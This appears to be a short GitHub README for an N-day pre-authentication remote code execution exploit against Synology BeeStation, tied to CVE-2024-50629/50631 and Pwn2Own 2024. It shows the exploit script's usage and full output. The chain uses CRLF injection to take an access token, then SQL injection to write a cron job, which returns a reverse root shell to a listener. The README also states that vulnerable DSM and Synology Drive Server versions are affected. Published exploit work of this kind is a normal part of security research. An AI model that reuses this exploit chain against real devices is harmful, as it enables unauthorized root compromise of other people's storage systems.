kiddo-pwn/cve-2024-50629_50631DEVCORE 针对 Synology BeeStation RCE 的 N-day 漏洞利用 (Pwn2Own 2024)
Synology BeeStation 的预认证 RCE N-day 利用。
详细内容: https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron
https://github.com/user-attachments/assets/8e2ef59c-4f60-4308-8cd4-6d7ce0ba72e1
$ python3 poc.py 192.168.88.248 192.168.88.254
[*] LISTENER listening on port 1337...
[*] CRLF username: kiddo.pwn
[*] AUTH access token: 2d6a6ecf6456f4b4787e50f5f0c0e648
[*] SQLI wrote: /etc/cron.d/pwn.task
[+] EXP shell will drop within 1 min...
bash: cannot set terminal process group (18187): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4# id
id
uid=0(root) gid=0(root) groups=0(root)
bash-4.4# hostname
hostname
BeeStation
bash-4.4#
注意：该利用程序对于标准 DSM (7.2.2-72806) + Synology Drive Server (3.5.1-26101) 的易受攻击版本同样有效。